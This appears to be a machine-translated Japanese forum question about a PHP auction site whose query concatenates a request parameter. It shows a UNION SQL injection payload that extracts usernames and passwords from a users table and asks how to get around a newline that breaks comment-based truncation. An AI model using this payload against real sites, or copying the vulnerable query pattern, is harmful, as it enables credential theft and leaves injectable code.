こんばんは、私の友人は、何人かの二流の開発者から開発されたサイトを持っていました。私は、彼らが作り出した問題のいくつかを彼に実演しようとしています。彼のコードには、次の正確なブロックがあります。
$id = $_REQUEST['id'];
//echo time();
$query = "SELECT cat_id,id,category,title,description,pict_url,minimum_bid,ends,cat_name,quantity,flag
FROM " . $DBPrefix . "categories INNER JOIN ". $DBPrefix . "auctions
ON vesp_categories.cat_id=vesp_auctions.category where id=".$id."
AND starts <= ".time()." AND suspended = 0";
(私は当然知っている?)
複数のクエリは問題外です - mysql_query が使用されており、複数のクエリを使用するように指示されていません。私は組合を行うことができます:
?id=143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1-- -
しかし、'AND 開始 <= ".time()" という事実。ANDsuspend = 0"' は新しい行にあり、コメント文字の効果を壊し、「SQL 構文にエラーがあります。4 行目の 'AND starts <= 1365321338 ANDsuspend = 0' の近くで使用する正しい構文については、MySQL サーバーのバージョンに対応するマニュアルを確認してください。
クエリの改行を削除するとうまく機能しますが、PHP を編集するのに十分なアクセス権を持つ攻撃者は、SQL インジェクションを気にしない可能性があります。
制約に関する改行/コメントアウトの問題を回避する方法はありますか? または、誰かが適切な代替案を提案できますか?
PHP >= 5.2 / MySQL